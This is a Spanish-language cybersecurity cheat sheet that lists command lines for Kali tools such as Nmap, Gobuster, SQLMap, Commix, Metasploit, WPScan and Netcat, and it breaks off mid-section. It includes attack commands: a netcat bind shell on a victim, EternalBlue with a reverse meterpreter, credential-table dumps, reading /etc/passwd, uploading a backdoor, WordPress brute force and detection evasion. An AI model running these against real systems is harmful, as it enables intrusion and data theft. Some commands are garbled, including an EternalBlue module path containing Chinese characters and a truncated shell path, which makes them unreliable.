

4Mart1 CheatSheet



Guía práctica de herramientas esenciales en Ciberseguridad

Índice de Contenido

Reconocimiento y Escaneo

1. Nmap – Network Mapper 3
2. Gobuster – Fuerza bruta web 7
3. DIRB – Descubrimiento de directorios 11
4. Whois – Información de dominios/IPs 15
5. TheHarvester – OSINT sobre dominios 18
6. Recon-ng – Framework de OSINT 22
7. Sublist3r – Enumeración de subdominios 26
8. WhatWeb – Identificación de tecnologías web 30

Análisis de Vulnerabilidades

9. Nikto – Escáner de vulnerabilidades web 34
10. WPScan – Escáner para WordPress 38
11. SQLMap – Inyecciones SQL automatizadas 42
12. XSSStrike – XSS avanzado 46
13. Commix – Inyección de comandos 50
14. OWASP ZAP – Escáner web automatizado 54
15. Burp Suite – Auditoría de aplicaciones web 58
16. ModSecurity – Firewall de aplicaciones web (WAF) 62
17. Nessus – Escáner profesional de vulnerabilidades 66
18. OpenVAS – Escáner de código abierto 70

Explotación y Post-Explotación

19. Metasploit – Framework de explotación 74
20. ExploitDB / Searchsploit – Base de datos de exploits 78

21. MSFVenom – Generación de payloads 82

Cracking y Fuerza Bruta

22. Hydra – Fuerza bruta contra servicios remotos 86
23. John the Ripper – Cracking de contraseñas 90
24. Hashcat – Cracking por GPU 94
25. Crunch – Generador de diccionarios personalizados 98

Análisis de Redes

26. Netcat – Conexiones y transferencia de archivos 102
27. ARP Scan – Descubrimiento de dispositivos 106
28. Wireshark & TShark – Captura de tráfico 110
29. Tcpdump – Análisis CLI de paquetes 114
30. Ettercap – Ataques MITM y spoofing 118
31. Responder – Captura de credenciales 122

Seguridad en Wi-Fi

32. Aircrack-ng – Auditoría de redes inalámbricas 126
33. Reaver – Ataques WPS en redes Wi-Fi 130

Nmap - Network Mapper

Descripción

Nmap es una herramienta de código abierto utilizada para el escaneo y mapeo de redes. Permite descubrir hosts, servicios y vulnerabilidades en una red. Se usa tanto en auditorías de seguridad como en administración de sistemas.

Propósito en ciberseguridad

- Descubrimiento de hosts en una red.
- Escaneo de puertos y detección de servicios.
- Identificación de sistemas operativos y versiones de software.
- Detección de vulnerabilidades y configuraciones inseguras.
- Generación de mapas de red y topologías.

Comandos de Nmap en Kali Linux

A continuación, te dejo un desglose detallado de los comandos y sus funciones.

1. Escaneo básico de una IP o dominio

```
nmap 10.0.2.15
```

Escanea los 1,000 puertos más comunes de la IP especificada.

2. Escaneo completo de puertos (1-65535)

```
nmap -p- 10.0.2.15
```

Escanea todos los puertos abiertos del objetivo.

3. Escaneo rápido

```
nmap -F 10.0.2.15
```

Solo revisa los 100 puertos más comunes para un análisis rápido.

4. Detectar sistema operativo y versiones de servicios

```
nmap -A 10.0.2.15
```

Activa el escaneo agresivo, detectando el sistema operativo, versión de servicios y traceroute.

5. Detección de sistema operativo sin escaneo agresivo

```
nmap -O 10.0.2.15
```

Intenta identificar el sistema operativo sin hacer escaneo agresivo.

6. Escaneo con evasión de detección (Stealth Scan - SYN Scan)

```
nmap -sS 10.0.2.15
```

Realiza un escaneo sigiloso (SYN scan), evitando ser registrado en logs.

7. Escaneo de puertos específicos

```
nmap -p 22,80,443 10.0.2.15
```

Solo analiza los puertos 22, 80 y 443.

8. Detectar servicios y versiones activas

```
nmap -sV 10.0.2.15
```

Identifica los servicios y versiones de cada puerto abierto.

9. Detectar vulnerabilidades con scripts NSE

```
nmap --script=vuln 10.0.2.15
```

Usa los scripts de Nmap para buscar vulnerabilidades en el sistema objetivo.

10. Escaneo con detección de firewall

```
nmap -sA 10.0.2.15
```

Permite identificar si hay un firewall filtrando puertos.

11. Escaneo sin revelar IP de origen (Modo sigiloso)

```
nmap -D RND:10 10.0.2.15
```

Usa 10 direcciones IP falsas (de distracción) para ocultar el origen del escaneo.

12. Escanear un rango de direcciones IP

```
nmap 10.0.2.1-254
```

Escanea todos los hosts en el rango de 10.0.2.1 a 10.0.2.254.

13. Guardar resultados en un archivo

```
nmap -oN resultado.txt 10.0.2.15
```

Guarda el resultado del escaneo en un archivo de texto plano.

```
nmap -oX resultado.xml 10.0.2.15
```

Guarda los resultados en formato XML para su posterior análisis.

14. Escaneo en IPv6

```
nmap -6 2001:db8::1
```

Realiza un escaneo en una dirección IPv6.

15. Escaneo con fragmentación de paquetes (evadir detección)

```
nmap -f 10.0.2.15
```

Usa paquetes fragmentados para dificultar la detección por firewalls.

16. Escaneo de traceroute para mapear red

```
nmap --traceroute 10.0.2.15
```

Muestra la ruta que sigue el tráfico hasta el destino.

Gobuster - Fuerza bruta para descubrimiento de directorios y subdominios

Descripción

Gobuster es una herramienta de fuerza bruta utilizada para **descubrir directorios ocultos, archivos, subdominios y configuraciones de servidores** en entornos web. Es muy rápida y eficiente en comparación con otros métodos como DirBuster, ya que está escrita en Go.

Propósito en ciberseguridad

- Descubrimiento de **directorios y archivos ocultos** en un servidor web.
- Enumeración de **subdominios** en un dominio.
- Búsqueda de **buckets de Amazon S3** expuestos.
- Descubrimiento de **Virtual Hosts (VHosts)** en servidores web.

Comandos más utilizados en Gobuster

1. Escaneo de directorios en un sitio web

```
gobuster dir -u http://example.com -w  
/usr/share/wordlists/dirb/common.txt
```

Busca directorios ocultos en example.com usando una wordlist común.

2. Buscar archivos con extensiones específicas

```
gobuster dir -u http://example.com -w  
/usr/share/wordlists/dirb/common.txt -x php,html,txt
```

Intenta encontrar archivos con extensiones .php, .html y .txt.

3. Aumentar la velocidad del escaneo

```
gobuster dir -u http://example.com -w  
/usr/share/wordlists/dirb/common.txt -t 50
```

Usa 50 hilos en paralelo para un escaneo más rápido.

4. Ignorar respuestas con códigos HTTP específicos

```
gobuster dir -u http://example.com -w  
/usr/share/wordlists/dirb/common.txt -b 403,404
```

Omitirá las respuestas con códigos HTTP 403 y 404.

5. Escaneo de subdominios en un dominio

```
gobuster dns -d example.com -w /usr/share/wordlists/dns/subdo-  
mains-top1mil.txt
```

Enumerará subdominios de example.com usando una wordlist.

6. Enumeración de Virtual Hosts (VHosts)

```
gobuster vhost -u example.com -w /usr/share/wordlists/dns/subdo-  
mains-top1mil.txt
```

Busca Virtual Hosts en example.com, útil para encontrar sitios alojados en el mismo servidor.

7. Buscar buckets de Amazon S3

```
gobuster s3 -d example.com -w /usr/share/wordlists/s3-buckets.txt
```

Intenta encontrar buckets de almacenamiento en la nube de Amazon.

Nikto - Escáner de vulnerabilidades web

Descripción

Nikto es una herramienta de escaneo de seguridad para servidores web. Detecta configuraciones inseguras, vulnerabilidades conocidas, problemas en encabezados HTTP y más. Es rápida, efectiva y utilizada en auditorías de seguridad web.

Propósito en ciberseguridad

- **Detectar vulnerabilidades en servidores web.**
- **Identificar configuraciones incorrectas y peligrosas.**
- **Buscar archivos y directorios sensibles expuestos.**
- **Escaneo de encabezados HTTP y opciones del servidor.**

Comandos más utilizados en Nikto

1. Escaneo básico de un sitio web

```
nikto -h http://example.com
```

Escanea example.com en busca de vulnerabilidades.

2. Especificar puertos a escanear

```
nikto -h example.com -p 80,443
```

Escanea los puertos 80 y 443 en example.com.

3. Usar técnicas de evasión de detección

```
nikto -evasion 1 -h example.com
```

Aplica técnicas de evasión para reducir detección por firewalls.

4. Modificar el User-Agent

```
nikto -useragent "Mozilla/5.0" -h example.com
```

Cambia el user-agent para evitar ser bloqueado.

5. Guardar los resultados en un archivo

```
nikto -output resultado.txt -h example.com
```

Guarda los resultados en un archivo de texto.

Snort - Sistema de Detección y Prevención de Intrusos (IDS/IPS)

Descripción

Snort es un **IDS/IPS de código abierto** utilizado para **monitorear, analizar y proteger redes** detectando tráfico malicioso basado en reglas. Puede usarse en modo sniffer, de detección de intrusos (IDS) o prevención de intrusos (IPS).

Propósito en ciberseguridad

- **Monitorizar tráfico de red en tiempo real.**
- **Detectar intrusos y ataques.**
- **Prevenir amenazas bloqueando tráfico sospechoso.**
- **Registrar actividad de red para auditorías.**

Comandos más utilizados en Snort

1. Capturar y visualizar tráfico en tiempo real (modo sniffer)

`snort -v`

Muestra los paquetes capturados en pantalla.

2. Ejecutar Snort como IDS usando un archivo de configuración

`snort -c /etc/snort/snort.conf -i eth0`

Inicia Snort como IDS en la interfaz eth0.

3. Mostrar alertas en consola

```
snort -A console -c /etc/snort/snort.conf -i eth0
```

Ejecuta Snort en modo IDS y muestra las alertas en tiempo real.

4. Guardar logs de tráfico

```
snort -l /var/log/snort -c /etc/snort/snort.conf
```

Guarda registros de actividad en la carpeta /var/log/snort.

5. Probar la configuración y las reglas de Snort

```
snort -T -c /etc/snort/snort.conf
```

Verifica que la configuración y las reglas sean válidas antes de iniciar el IDS.

Netcat - La navaja suiza de la red

Descripción

Netcat (nc) es una herramienta de línea de comandos que permite **crear conexiones TCP/UDP** para escaneo de puertos, transferencia de archivos, ejecución remota de comandos y depuración de redes. Es esencial en pentesting y administración de sistemas.

Propósito en ciberseguridad

- **Conectarse a servidores y probar puertos.**
- **Escuchar conexiones en una máquina remota.**
- **Transferir archivos entre sistemas.**
- **Ejecutar shells remotas para pruebas de pentesting.**
- **Escaneo de puertos para auditorías de seguridad.**

Comandos más utilizados en Netcat

1. Conectarse a un servidor en un puerto específico

```
nc <IP> <puerto>
```

Abre una conexión a un servidor en el puerto especificado.

2. Escuchar conexiones entrantes en un puerto

```
nc -l -p 4444
```

La máquina se pone en modo escucha en el puerto 4444.

3. Transferir archivos entre dos máquinas

En la máquina que recibe el archivo:

```
nc -l -p 1234 > archivo_recibido.txt
```

En la máquina que envía el archivo:

```
nc <IP> 1234 < archivo.txt
```

Esto permite transferir archivos entre sistemas fácilmente.

4. Escanear puertos abiertos de una IP

```
nc -z -v <IP> 1-65535
```

Escanear todos los puertos de la IP objetivo.

5. Obtener una shell remota

En la máquina víctima:

```
nc -l -p 4444 -e /bin/
```

Desde el atacante:

```
nc <IP_victima> 4444
```

Esto permite ejecutar comandos en la máquina víctima.

DIRB - Fuerza bruta para descubrimiento de directorios y archivos web

Descripción

DIRB es una herramienta de fuerza bruta para **descubrir directorios y archivos ocultos** en servidores web. Usa una wordlist de nombres comunes para encontrar rutas no listadas en un sitio web.

Propósito en ciberseguridad

- **Descubrir directorios y archivos ocultos en un sitio web.**
- **Identificar configuraciones expuestas o accesos no restringidos.**
- **Evadir configuraciones erróneas en servidores web.**
- **Enumerar archivos en diferentes extensiones (php, html, txt, etc.).**

Comandos más utilizados en DIRB

1. Escaneo básico de directorios en un sitio web

```
dirb http://example.com
```

Busca directorios ocultos en example.com con la wordlist por defecto.

2. Usar una wordlist personalizada

dirb http://example.com /usr/share/wordlists/dirb/common.txt

Usa una wordlist específica para mejorar la precisión.

3. Buscar archivos con extensiones específicas

dirb http://example.com -X .php,.html,.txt

Busca archivos con las extensiones .php, .html y .txt.

4. No hacer escaneo recursivo en subdirectorios

dirb http://example.com -r

Solo escanea el directorio raíz sin descender en subdirectorios.

5. Modificar el User-Agent para evadir detección

dirb http://example.com -a "Mozilla/5.0"

Simula un navegador para evitar bloqueos por detección de escaneo.

6. Guardar los resultados en un archivo

dirb http://example.com -o resultado.txt

Guarda los resultados del escaneo en resultado.txt.

Whois - Consulta de información sobre dominios e IPs

Descripción

Whois es una herramienta que permite obtener **información sobre dominios e IPs**, incluyendo datos del propietario, registrador, fechas de creación y expiración, servidores DNS y más.

Propósito en ciberseguridad

- **Identificar el propietario de un dominio.**
- **Obtener información sobre direcciones IP.**
- **Consultar servidores WHOIS específicos para más detalles.**
- **Investigar la infraestructura de un sitio web.**

Comandos más utilizados en Whois

1. Obtener información de un dominio

`whois example.com`

Muestra los datos del dominio, incluyendo registrador, fechas de creación y expiración.

2. Obtener información de una dirección IP

whois 8.8.8.8

Consulta quién administra la IP 8.8.8.8 y obtiene información de su ISP.

3. Consultar un servidor WHOIS específico

whois -h whois.verisign-grs.com example.com

Utiliza el servidor WHOIS de Verisign para obtener más información sobre un dominio .com.

4. Consultar información de IP en ARIN (América del Norte)

whois -h whois.arin.net 8.8.8.8

Busca detalles de IP en la base de datos de ARIN.

5. Búsqueda recursiva de información

whois -r example.com

Intenta obtener información de todas las bases de datos WHOIS disponibles.

TheHarvester - Recolección de información OSINT sobre dominios

Descripción

TheHarvester es una herramienta de **OSINT (Open Source Intelligence)** utilizada para **recopilar información sobre dominios, correos electrónicos, subdominios y metadatos** a partir de fuentes públicas como Google, Bing, LinkedIn, Twitter y más.

Propósito en ciberseguridad

- **Recolectar direcciones de correo electrónico de un dominio.**
- **Descubrir subdominios y hosts asociados.**
- **Obtener información de redes sociales sobre un objetivo.**
- **Identificar metadatos en documentos públicos.**

Comandos más utilizados en TheHarvester

1. Buscar correos y subdominios en Google

```
theHarvester -d example.com -l 500 -b google
```

Obtiene hasta 500 resultados sobre example.com en Google.

2. Buscar información en Bing

```
theHarvester -d example.com -l 500 -b bing
```

Extrae información del dominio usando el motor de búsqueda Bing.

3. Buscar información en todas las fuentes disponibles

```
theHarvester -d example.com -b all
```

Usa todas las fuentes compatibles para recopilar la mayor cantidad de información posible.

4. Buscar información en LinkedIn

```
theHarvester -d example.com -b linkedin
```

Extrae información relacionada con el dominio desde LinkedIn.

5. Guardar los resultados en un archivo HTML

```
theHarvester -d example.com -f resultado.html
```

Guarda los datos obtenidos en un archivo HTML.

Recon-ng - Framework para recolección de información OSINT

Descripción

Recon-ng es un framework modular para **recolección de información OSINT**, similar a Metasploit, pero diseñado para automatizar la búsqueda de información en fuentes abiertas.

Propósito en ciberseguridad

- Automatizar la recopilación de información sobre dominios, correos y hosts.
- Consultar APIs y bases de datos públicas para OSINT.
- Generar informes detallados con la información recopilada.
- Integración con diversas herramientas de recolección de datos.

Comandos más utilizados en Recon-ng

1. Iniciar la consola de Recon-ng

```
recon-ng
```

Abre la consola interactiva de Recon-ng.

2. Buscar módulos disponibles

```
modules search bing
```

Busca módulos relacionados con Bing.

3. Cargar un módulo específico

```
modules load recon/domains-hosts/bing_domain_web
```

Carga un módulo para extraer hosts de un dominio usando Bing.

4. Insertar un dominio manualmente en la base de datos

```
db insert domains example.com
```

Agrega example.com a la base de datos para análisis posterior.

5. Exportar la base de datos en formato JSON

```
db export resultados.json
```

Guarda toda la información recopilada en un archivo JSON.

6. Generar un informe de los datos obtenidos

```
report generate html
```

Crea un informe en formato HTML con la información recolectada.

Sublist3r - Enumeración de subdominios

Descripción

Sublist3r es una herramienta diseñada para **enumerar subdominios de un dominio objetivo** utilizando múltiples motores de búsqueda y servicios de recolección de información OSINT.

Propósito en ciberseguridad

- **Descubrir subdominios asociados a un dominio.**
- **Usar múltiples fuentes como Google, Bing, Yahoo y VirusTotal.**
- **Identificar infraestructura oculta dentro de un dominio.**
- **Automatizar la recolección de información en pruebas de pentesting.**

Comandos más utilizados en Sublist3r

1. Enumerar subdominios de un dominio

```
sublist3r -d example.com
```

Busca subdominios de example.com utilizando varias fuentes.

2. Habilitar la búsqueda en Bing

```
sublist3r -d example.com -b
```

Usa Bing como fuente para encontrar más subdominios.

3. Especificar motores de búsqueda específicos

```
sublist3r -d example.com -e google,yahoo,bing
```

Limita la búsqueda a Google, Yahoo y Bing.

4. Buscar subdominios con puertos específicos abiertos

```
sublist3r -d example.com -p 80,443
```

Filtrá subdominios que tengan los puertos 80 y 443 abiertos.

5. Aumentar la velocidad de búsqueda con más hilos

```
sublist3r -d example.com -t 50
```

Usa 50 hilos en paralelo para un escaneo más rápido.

6. Guardar los resultados en un archivo

```
sublist3r -d example.com -o resultado.txt
```

Guarda los subdominios encontrados en un archivo.

Nessus - Escáner de vulnerabilidades avanzado

Descripción

Nessus es un escáner de vulnerabilidades ampliamente utilizado en seguridad informática para **identificar fallos de seguridad en redes, servidores y dispositivos**. Es desarrollado por Tenable y permite realizar análisis automatizados de seguridad.

Propósito en ciberseguridad

- **Identificar vulnerabilidades en sistemas y redes.**
- **Automatizar escaneos de seguridad en múltiples hosts.**
- **Generar informes detallados de fallos de seguridad.**
- **Realizar auditorías de cumplimiento de seguridad.**

Comandos más utilizados en Nessus

1. Iniciar el servicio de Nessus

```
systemctl start nessusd
```

Inicia el servicio Nessus en el sistema.

2. Ver el estado del servicio Nessus

```
systemctl status nessusd
```

Comprueba si Nessus está en ejecución.

3. Acceder a la interfaz web

```
https://localhost:8834
```

Accede a la interfaz gráfica de Nessus desde el navegador.

4. Crear un nuevo usuario en Nessus

```
/opt/nessus/sbin/nessuscli adduser
```

Añade un usuario nuevo para gestionar escaneos.

5. Actualizar los plugins de Nessus

```
/opt/nessus/sbin/nessuscli update
```

Descarga las últimas actualizaciones de seguridad.

6. Crear y ejecutar un escaneo de vulnerabilidades

```
nessuscli scan create --name "Escaneo Red" --targets  
192.168.1.0/24
```

Configura un escaneo para toda la red 192.168.1.0/24.

```
nessuscli scan launch <ID>
```

Inicia un escaneo previamente configurado.

7. Exportar los resultados en HTML

```
nessuscli scan export --format html <ID>
```

Guarda el informe en formato HTML.

OpenVAS - Escáner de vulnerabilidades de código abierto

Descripción

OpenVAS (Open Vulnerability Assessment System) es un escáner de vulnerabilidades **de código abierto** que permite realizar auditorías de seguridad en redes, servidores y sistemas operativos. Es parte del framework **Greenbone Vulnerability Management (GVM)**.

Propósito en ciberseguridad

- **Detectar vulnerabilidades en redes y servidores.**
- **Automatizar escaneos de seguridad en infraestructuras TI.**
- **Generar informes detallados sobre fallos de seguridad.**
- **Evaluuar cumplimiento de estándares de seguridad.**

Comandos más utilizados en OpenVAS

1. Iniciar el servicio de OpenVAS

```
systemctl start openvas
```

Activa el servicio de OpenVAS en el sistema.

2. Ver el estado del servicio OpenVAS

```
systemctl status openvas
```

Comprueba si OpenVAS está en ejecución.

3. Acceder a la interfaz web

<https://localhost:9392>

Abre la interfaz gráfica de OpenVAS en el navegador.

4. Actualizar la base de datos de vulnerabilidades

greenbone-nvt-sync

Descarga las últimas firmas de vulnerabilidades para los escaneos.

5. Crear y ejecutar un escaneo de vulnerabilidades

omp -u admin -w contraseña --create-task "Escaneo Red" --target 192.168.1.0/24

Crea un escaneo para toda la red 192.168.1.0/24.

omp -u admin -w contraseña --start-task <ID>

Inicia un escaneo previamente configurado.

6. Exportar los resultados en HTML

omp -u admin -w contraseña --get-report <ID> --format html

Guarda el informe en formato HTML.

WPScan - Escáner de seguridad para WordPress

Descripción

WPScan es una herramienta diseñada para **identificar vulnerabilidades en sitios WordPress**, incluyendo plugins, temas, usuarios y configuraciones inseguras.

Propósito en ciberseguridad

- **Detectar vulnerabilidades en instalaciones de WordPress.**
- **Enumerar usuarios, plugins y temas instalados.**
- **Realizar ataques de fuerza bruta a cuentas de administrador.**
- **Consultar bases de datos de vulnerabilidades conocidas.**

Comandos más utilizados en WPScan

1. Escanear un sitio WordPress en busca de vulnerabilidades

```
wpSCAN --url http://example.com
```

Analiza example.com en busca de fallos de seguridad.

2. Enumerar plugins instalados

```
wpscan --url http://example.com --enumerate p
```

Lista los plugins detectados en el sitio.

3. Enumerar temas instalados

```
wpscan --url http://example.com --enumerate t
```

Muestra información sobre los temas instalados.

4. Enumerar usuarios registrados en WordPress

```
wpscan --url http://example.com --enumerate u
```

Obtiene la lista de usuarios con acceso al sitio.

5. Realizar ataque de fuerza bruta con lista de contraseñas

```
wpscan --url http://example.com --passwords passwords.txt
```

Prueba una lista de contraseñas contra el sitio WordPress.

6. Ataque de fuerza bruta con usuarios y contraseñas personalizadas

```
wpscan --url http://example.com --usernames users.txt --passwords  
passwords.txt
```

Usa archivos de nombres de usuario y contraseñas para probar accesos.

7. Guardar los resultados del escaneo en un archivo

```
wpscan --url http://example.com --output resultado.txt
```

Guarda la salida del escaneo en un archivo de texto.

WhatWeb - Identificación de tecnologías web

Descripción

WhatWeb es una herramienta utilizada para **identificar tecnologías web** empleadas en un sitio, como CMS (WordPress, Joomla), servidores web, frameworks, lenguajes de programación y más.

Propósito en ciberseguridad

- Detectar qué tecnologías usa un sitio web.
- Obtener información sobre versiones y configuraciones de software.

- Identificar posibles vulnerabilidades basadas en software detectado.
- Escanear múltiples sitios web de forma rápida.

Comandos más utilizados en WhatWeb

1. Analizar una URL para identificar tecnologías web

whatweb http://example.com

Detecta tecnologías utilizadas en example.com.

2. Ejecutar en modo verbose para más detalles

whatweb -v http://example.com

Proporciona más información sobre cada tecnología detectada.

3. Escaneo agresivo para obtener más detalles

whatweb -a 3 http://example.com

Aumenta la profundidad del escaneo para obtener información más detallada.

4. Aumentar la velocidad del escaneo con múltiples hilos

```
whatweb -t 50 http://example.com
```

Usa 50 hilos en paralelo para un escaneo más rápido.

5. Guardar los resultados del escaneo en un archivo

```
whatweb -o resultado.txt http://example.com
```

Guarda los datos en un archivo de texto.

```
whatweb -o resultado.json http://example.com
```

Guarda los resultados en formato JSON.

6. Escanear múltiples URLs desde un archivo

```
whatweb -u lista_de_urls.txt
```

Analiza todas las URLs incluidas en un archivo de texto.

Metasploit - Framework de explotación de vulnerabilidades

Descripción

Metasploit es un **framework de pentesting** que permite realizar pruebas de seguridad, explotación de vulnerabilidades, post-explotación y generación de payloads. Es una de las herramientas más potentes en hacking ético y ciberseguridad.

Propósito en ciberseguridad

- **Explotar vulnerabilidades en sistemas y aplicaciones.**
- **Crear y ejecutar payloads personalizados.**
- **Realizar ataques de post-explotación en sistemas comprometidos.**
- **Automatizar escaneos y reconocimiento de redes.**

Comandos más utilizados en Metasploit

1. Iniciar la consola de Metasploit

`msfconsole`

Abre la interfaz de Metasploit.

2. Buscar exploits, payloads o módulos

```
search ms17_010
```

Busca módulos relacionados con MS17-010.

3. Cargar un exploit específico

```
use exploit/windows/smb/ms17_010_永恒之蓝
```

Carga el exploit para la vulnerabilidad EternalBlue.

4. Configurar el payload a utilizar

```
set payload windows/meterpreter/reverse_tcp
```

Define un payload para obtener una shell remota.

5. Configurar la dirección IP y el puerto del atacante

```
set LHOST 192.168.1.10
```

```
set LPORT 4444
```

Especifica la IP y el puerto donde recibirá la conexión.

6. Ejecutar el exploit

exploit

Lanza el ataque contra el objetivo.

7. Listar sesiones activas

sessions -l

Muestra todas las sesiones Meterpreter activas.

8. Interactuar con una sesión abierta

sessions -i 1

Abre la sesión 1 para ejecutar comandos en el sistema víctima.

9. Escanear puertos usando Metasploit

use auxiliary/scanner/portscan/tcp

Carga un módulo para escanear puertos TCP.

ExploitDB - Base de datos de exploits públicos

Descripción

ExploitDB es una base de datos pública que contiene **exploits y pruebas de concepto (PoC) para vulnerabilidades conocidas**. En Kali Linux, se accede mediante la herramienta searchsploit.

Propósito en ciberseguridad

- Buscar exploits disponibles para vulnerabilidades específicas.
- Obtener pruebas de concepto (PoC) para análisis y pruebas de penetración.
- Identificar exploits basados en identificadores CVE.
- Mantenerse actualizado sobre nuevas vulnerabilidades.

Comandos más utilizados en ExploitDB (searchsploit)

1. Buscar exploits en la base de datos

searchsploit apache

Busca todos los exploits relacionados con Apache.

2. Buscar exploits con coincidencia exacta

```
searchsploit --exact "OpenSSH 7.2"
```

Filtrar los resultados para obtener una coincidencia exacta.

3. Buscar exploits por CVE

```
searchsploit --cve CVE-2021-3156
```

Encuentra exploits específicos para el CVE 2021-3156.

4. Copiar un exploit al directorio de trabajo

```
searchsploit -m 49703
```

Copia el exploit con ID 49703 al directorio actual.

5. Mostrar la ruta completa de un exploit

```
searchsploit -p 49703
```

Muestra la ubicación exacta del exploit en el sistema.

6. Mostrar un exploit sin abrir archivos

```
searchsploit -x 49703
```

Muestra el contenido del exploit en la terminal.

7. Obtener los resultados en formato JSON

```
searchsploit --json apache
```

Devuelve los resultados en formato JSON para análisis automático.

8. Actualizar la base de datos de exploits

```
searchsploit -u
```

Descarga los últimos exploits disponibles en ExploitDB.

SQLMap - Automatización de inyecciones SQL

Descripción

SQLMap es una herramienta de **automatización de inyecciones SQL** que permite detectar y explotar vulnerabilidades en bases de datos de forma rápida y eficiente.

Propósito en ciberseguridad

- **Detectar y explotar inyecciones SQL en aplicaciones web.**
- **Extraer bases de datos, tablas y registros de un servidor vulnerable.**
- **Obtener credenciales almacenadas en bases de datos.**
- **Ejecutar comandos en el sistema operativo a través de SQL injection.**

Comandos más utilizados en SQLMap

1. Detectar si una URL es vulnerable a SQLi y listar bases de datos

```
sqlmap -u "http://example.com/index.php?id=1" --dbs
```

Comprueba si el parámetro id es vulnerable y muestra las bases de datos.

2. Especificar el parámetro vulnerable

```
sqlmap -u "http://example.com/index.php?id=1" -p id --dbs
```

Indica a SQLMap que solo pruebe el parámetro id.

3. Listar tablas de una base de datos específica

```
sqlmap -u "http://example.com/index.php?id=1" --tables -D usuarios
```

Muestra todas las tablas de la base de datos usuarios.

4. Extraer las columnas de una tabla

```
sqlmap -u "http://example.com/index.php?id=1" --columns -D usuarios -T credenciales
```

Enumera las columnas de la tabla credenciales.

5. Volcar los datos de una tabla

```
sqlmap -u "http://example.com/index.php?id=1" --dump -D usuarios -T credenciales
```

Extrae los datos de la tabla credenciales.

6. Evadir sistemas de protección con técnicas avanzadas

```
sqlmap -u "http://example.com/index.php?id=1" --tamper=space2comment
```

Usa un script de evasión para evitar filtros de seguridad.

```
sqlmap -u "http://example.com/index.php?id=1" --random-agent
```

Usa un User-Agent aleatorio para evitar detección.

7. Incluir cookies o autenticación en la petición

```
sqlmap -u "http://example.com/index.php?id=1" --cookie="PHPSES-SID=123456"
```

Permite autenticarse con una sesión activa.

```
sqlmap -u "http://example.com/index.php?id=1" --auth-type Basic --auth-cred admin:password
```

Usa autenticación HTTP básica.

8. Obtener acceso a una shell del sistema operativo

```
sqlmap -u "http://example.com/index.php?id=1" --os-shell
```

Intenta obtener una shell remota en el sistema.

```
sqlmap -u "http://example.com/index.php?id=1" --sql-shell
```

Accede a una shell SQL interactiva.

Commix - Automatización de inyección de comandos en sistemas

Descripción

Commix es una herramienta diseñada para **detectar y explotar vulnerabilidades de inyección de comandos en aplicaciones web**, permitiendo la ejecución remota de comandos en servidores vulnerables.

Propósito en ciberseguridad

- **Detectar y explotar inyecciones de comandos en formularios web y parámetros GET/POST.**
- **Ejecutar comandos arbitrarios en el sistema comprometido.**
- **Obtener una shell interactiva en el servidor víctima.**
- **Leer y escribir archivos en el sistema afectado.**

Comandos más utilizados en Commix

1. Detectar si una URL es vulnerable a inyección de comandos

```
commix --url="http://example.com/index.php?param=1"
```

Analiza si el parámetro param es vulnerable.

2. Probar inyección en una petición POST

```
commix --url="http://example.com/login.php" --data="user=admin&pass=1234"
```

Evalúa la inyección de comandos en una petición con datos POST.

3. Ejecutar un comando arbitrario en el sistema víctima

```
commix --url="http://example.com/index.php?param=1" --os-cmd="whoami"
```

Ejecuta whoami en el sistema comprometido.

4. Obtener una shell remota en el servidor

```
commix --url="http://example.com/index.php?param=1" --os-shell
```

Permite interactuar con el sistema objetivo mediante una shell.

5. Leer archivos del sistema comprometido

```
commix --url="http://example.com/index.php?param=1" --file-read="/etc/passwd"
```

Extrae el contenido del archivo /etc/passwd.

6. Subir archivos al servidor víctima

```
commix --url="http://example.com/index.php?param=1" --file-write="/tmp/backdoor.sh"
```

Sube un archivo al sistema remoto.

7. Usar técnicas de evasión para evitar detección

```
commix --url="http://example.com/index.php?param=1" --tamper=space2comment
```

Utiliza un script de evasión para evitar filtros WAF.

8. Realizar el ataque sin intervención del usuario

```
commix --url="http://example.com/index.php?param=1" --batch
```

Ejecuta el ataque de forma automática sin requerir confirmación.

Burp Suite - Plataforma de análisis y pruebas de seguridad web

Descripción

Burp Suite es una suite de herramientas para **auditoría de seguridad en aplicaciones web**, que permite interceptar, analizar, modificar y automatizar tráfico HTTP/S.

Propósito en ciberseguridad

- Interceptar y modificar tráfico entre el navegador y el servidor.
- Escanear aplicaciones en busca de vulnerabilidades web.
- Automatizar pruebas de fuzzing y fuerza bruta.
- Repetir y modificar solicitudes HTTP/S de forma manual.

Comandos y configuraciones en Burp Suite

1. Iniciar Burp Suite en modo gráfico

burpsuite

Abre la interfaz gráfica de Burp Suite.

2. Ejecutar Burp Suite sin sandboxing

burpsuite --no-sandbox

Mejora el rendimiento en algunos entornos.

3. Configurar el proxy de Burp en el navegador

- **Abrir Burp Suite > Proxy > Options > Proxy Listeners.**
- **Configurar el navegador para usar 127.0.0.1:8080 como proxy.**

4. Interceptar y modificar tráfico web

- **Activar el modo Intercept is on** para capturar solicitudes HTTP/S.
- **Enviar una petición a Repeater** para modificar y reenviar la solicitud.
- **Usar Intruder** para realizar ataques automatizados a parámetros.

5. Escanear vulnerabilidades en una aplicación web

- **Usar Burp Scanner** (solo en la versión Pro) para detectar vulnerabilidades.

- **Habilitar Passive Scanning** para analizar tráfico sin enviar solicitudes adicionales.

6. Automatización y extensiones

- **Cargar extensiones en Extender** para mejorar funcionalidades.
- **Utilizar Burp Collaborator** para detectar vulnerabilidades mediante interacción con servidores externos.

OWASP ZAP - Escáner de seguridad web automatizado

Descripción

OWASP ZAP (Zed Attack Proxy) es una herramienta de seguridad web **open-source** utilizada para **detectar y explotar vulnerabilidades en aplicaciones web**, interceptando tráfico y realizando escaneos activos y pasivos.

Propósito en ciberseguridad

- **Escanear automáticamente aplicaciones web en busca de vulnerabilidades.**
- **Interceptar y modificar tráfico HTTP/S entre cliente y servidor.**
- **Automatizar pruebas de seguridad con scripting y API.**
- **Generar informes de seguridad detallados.**

Comandos más utilizados en OWASP ZAP

1. Iniciar OWASP ZAP en modo gráfico

`zap.sh`

Abre la interfaz de usuario de ZAP.

2. Ejecutar OWASP ZAP en segundo plano

`zap.sh -daemon`

Inicia OWASP ZAP en modo **demonio** (sin interfaz gráfica).

3. Deshabilitar clave de API para acceso remoto

`zap.sh -config api.disablekey=true`

Permite el acceso remoto a la API de ZAP sin clave.

4. Ejecutar un escaneo rápido de seguridad

`zap-cli quick-scan http://example.com`

Realiza un escaneo básico sobre example.com.

5. Ejecutar un escaneo activo de vulnerabilidades

```
zap-cli active-scan http://example.com
```

Detecta vulnerabilidades más profundas en la web objetivo.

6. Configurar el navegador para interceptar tráfico

